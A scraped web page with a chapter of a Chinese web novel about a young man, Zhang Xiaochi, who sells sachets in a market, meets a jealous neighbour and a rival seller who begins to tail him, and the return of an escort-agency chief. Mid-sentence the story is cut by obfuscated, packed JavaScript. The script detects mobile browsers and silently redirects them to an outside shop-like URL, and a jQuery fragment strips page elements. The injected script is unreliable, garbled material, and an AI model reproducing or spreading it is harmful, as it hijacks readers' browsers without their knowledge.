16. 016
作品:《迫嫁小哥儿被救后》 “小哥儿,你家香囊怎么卖?”有妇人挎着菜篮子,上前翻看香囊。
章小池道:“空香囊五文,药香囊七文。”
妇人又看了看,最后没买,放下香囊往菜市里走。
香囊较之别家便宜,但不是所有问价的人都会买,章小池心里清楚,将散乱的香囊整理好,等着后面客人的到来。
有两个夫郎走过来,“你这香囊蛮好看的,怎么卖?”
章小池说了价格,两人要还价,他没松口,最终挑挑拣拣买了三个药香囊。
香囊摊终于开张,之后断断续续有人来,驻足挑选问价,有买的,也有放下的。
药香囊卖得还还成,三三两两地卖出去几个,空香囊一个也没卖出去,待时间迟些,爱俏的小娘子小哥儿们出门上街,香囊摊的生意才有了起色。
然而生意远不如昨日,就连前日也比不上。
钱袋子轻飘飘,章小池的心却是沉甸甸,他昨儿才买那么多香囊,买那么多驱虫药材,今儿个生意便不好做,香囊卖不出去,他手里的该怎么办?
柳行鹭见他生意不好,面带愁绪,宽慰道:“这做生意就是这样,生意一天好,一天不好的,明儿生意就好起来了。”
章小池笑了笑,他知道是这个理,可生意不好,心里终归不舒坦。见没什么人来,他收拾了摊位,托柳行鹭帮忙看着,便去菜市买菜,回来道谢后背上背篓回家。
走到溪水巷,巷子口坐着好些个章小池能叫上名的婶子和阿叔,见他回来,热情招呼。
“池哥儿回来了?”
“今儿个比昨天早些,是不是生意好,带去的香囊早早卖空了?”
“肯定是。”
张梨花噗嗤笑了一声,扫向章小池的眼神夹着轻蔑与幸灾乐祸,“生意哪是那么好做,没瞧见你们问得池哥儿脸都绿了吗?”
欢欢喜喜的说笑戛然而止,众人面面相觑。
章小池看向张梨花,他记着干娘的提醒,她不是个好人,说话也不客气,“张婶多虑了,只是……张婶许是绣花太辛劳,眼睛昏花,我只见过唱大戏的人画绿脸,没见过有人是绿脸,张婶下次可别看错了。”
说罢,和另外几个婶子夫郎打了招呼,便往巷子里面去。
张梨花一时哽住,说不上话来,憋得心肝肺疼,咧咧道:“瞧他多牙尖嘴利,你们还一个劲的说他好,哪个好哥儿这么不敬长辈?”
彩霞不耐道:“你不贫嘴薄舌,池哥儿怎会说你?好端端的偏生招惹他作甚?”
“我就打趣一句,还成我的不是了?”张梨花不服气,“他才来多久,你们一个两个都向着他说话。”
“懒得和你说,我回家了。”彩霞起身便走,快到做午饭的点的,早些回去也好。
她起身,其他几个妇人夫郎也跟着三三两两离开。
不多时,巷子口只余下张梨花一人,她把香囊摔进针线篓子,盯着往巷子里去的身影,冷哼一声。
都是些没见识的蠢货,逐利而从,现在捧着池哥儿,待过些时日,可就要换人捧了。
现在给她脸色看,届时来求到她跟前来,脸色肯定会很是精彩。她高兴呢,就帮忙牵线卖香囊,若是不高兴,任她们说尽好话,她也不帮忙。
张梨花想想都乐。
那厢,章小池回到家。他今儿回来的早,干娘没煮饭,而是在堂屋里装香囊,草药的苦涩与薄荷的清凉混合弥漫,浓重得有些刺鼻。
“干娘。”章小池唤了一声,卸下背篓走进堂屋。
孙慧芳抬眼,见他嘴角向下撇,臊眉耷眼的,放下手里的香囊问他,“咋了这是?谁欺负咱们池哥儿了,告诉干娘,干娘找人算账去。”
“没人欺负我,”章小池端板凳坐孙慧芳身畔,“就是今儿生意不太好,只卖出四五十个香囊。”
她当是什么事儿,孙慧芳暗暗松了口气,温声宽慰他,“这有啥,又没人让你必须几天卖完,只要能卖出去,慢慢卖就是,香囊又不会坏,再不济还能便宜卖给布庄去,加上前两天赚的,总的算下来没亏。”
“你前边收香囊前就想好的退路,忘了?”孙慧芳拍拍章小池的手,带着揶揄。
“干娘……”章小池拖长了声音,抱住孙慧芳胳膊,埋头在她肩膀上,不甚好意思。
是啊,去路归途皆有,何须发愁路上的风雨,直直向前走就好,大不了撂挑子不干,他还有干娘呢!
章小池豁然开朗,消沉的情绪一扫而空。
孙慧芳失笑,抬手揉了揉池哥儿脑袋,心道还是小哥儿好,儿子可不会这般黏糊人。
要说黎川阳黏糊人……孙慧芳无法想象,单起个念头,身上掉下的鸡皮疙瘩就能扫一箩筐。
“干娘,我去做饭!”章小池起身朝灶房去,步子轻快。
次日,章小池依然早早出摊,干劲满满。
柳行鹭今儿个不急着整理摊上的饰品,反而站在章小池身旁同他说话,“池哥儿,三里街又摆了个香囊摊,你听到消息没?”
章小池挂香囊的手一顿,摇摇头,“他们在哪摆摊?”
“就在那边拐角,也是绣花香囊,卖四文一个,比你的更便宜。”
章小池顺着柳行鹭指的方向看去,三里街是一条长街,一侧小道从溪水巷那边汇过来,一侧拐角连接四里街,是主街,大多数来菜市的人从那边来,亦从那边走。
对方选的位置好,价格更低,怪不得能截留大多数的客人。
柳行鹭提议,“改明儿你摆四里街去,肯定你生意更好。”
“好,谢谢柳阿叔,我琢磨琢磨。”章小池道谢,心情平和,并不太受影响。
卖香囊的生意,他做得,别人也做得,庆州城之大,这处不好卖,便去别处卖,东西好不愁卖不出去。
人流如织,章小池朗声叫卖,“卖香囊咯,五文一个!”
不时有人在摊子前驻足问价,有买的,亦有不买的,生意较之昨日相当。
日头爬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096593|195638||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
升,章小池收摊回家,待要转到朝溪水巷的方向去,却慢下步子,他看向三里街尽头的拐角,想去看看别人的香囊摊。
短暂迟疑后,章小池大步走去,刚刚走到拐角处,便能看见摆在那边的香囊摊。
摆摊的是一男一女,看不出是兄妹还是夫妻,男人盘腿坐地上,女人在忙碌。
不似他这般用竹架子挂香囊,他们在地上铺一张布,香囊散乱的倒在其上,买东西的客人蹲在摊子前挑拣翻找。有香囊落到外面,被踩了两脚,又捡起来丢回去。
章小池远远看了会儿便转身离开,浑然没有察觉身后投来的目光。
张志平侧身,看那道背着背篓的身影转过拐角消失不见,不由想起小姨前天回家的抱怨——巷子里新来了两个人,村里来的,两个土包子心眼多,胆子大,竟琢磨起做生意来了,想做便做,偏生排挤她不收她的香囊,当她稀罕那两个臭钱?
小姨稀不稀罕他不知道,反正他是稀罕的,是以这才收香囊来摆摊卖。
布庄香囊收一文一个或三文两个,他稍稍提价,收两文一个,不愁没人卖给他,可他娘和小姨嘴巴一个比一个大,转头就给嚷嚷出去,他收三文一个。
找上门的人如流水,张志平丢不起这个人,只能捏着鼻子认了。
张志平如意算盘打得好,章小池不是卖得便宜吗,他能卖更便宜,卖四文一个,薄利多销,既能抢生意,又能赚钱。
生意是抢来了,可这一个香囊才一文的利润,昨儿卖两百个,才赚两百文,连辛苦钱都不够。
章小池要价高,卖得少也能赚钱,还赚得比他多,张志平愤愤不平,章小池一个小哥儿凭什么能赚那么多钱?他家里人不找个人家把他嫁出去,竟放任他抛头露面摆摊做生意。
小哥儿独自摆摊,张志平眼珠子一转,猛地站起身来。
旁边女人问:“志平,你去哪儿?”
“茅厕!”张志平横她一眼,快步离开。
张志平紧追片刻,便瞧见走在前面背着背篓的身影,他放慢脚步远远跟着,眼中恶意森然。
与此同时,十余匹骏马踏过长街,停在途安镖局大门前。
“吁——!”
黎川阳收紧缰绳,翻身下马,当即有镖局的杂役迎出来牵马。
进入镖局,黎川阳对此次同行押镖的镖师和趟子手道:“押镖辛劳,去账房结了银钱,各自回家去休整,两日后来镖局。”
镖师和趟子手应声散去。
黎川阳往中堂去,押镖回来,需得先见过总镖头,述明途中之事,这一趟镖才算完。他找了一圈,没看见总镖头,索性寻人问:“周瑞,总镖头可在?”
周瑞道:“今早出门去了,不知何时回来,黎镖头押镖奔波辛苦,不妨先回去歇息,我替你传信,你明儿再来。”
“成,多谢。”黎川阳去账房结钱,走出镖局。
离家二十日,想到娘在家中等候,为他忧心,黎川阳大步朝溪水巷走去。

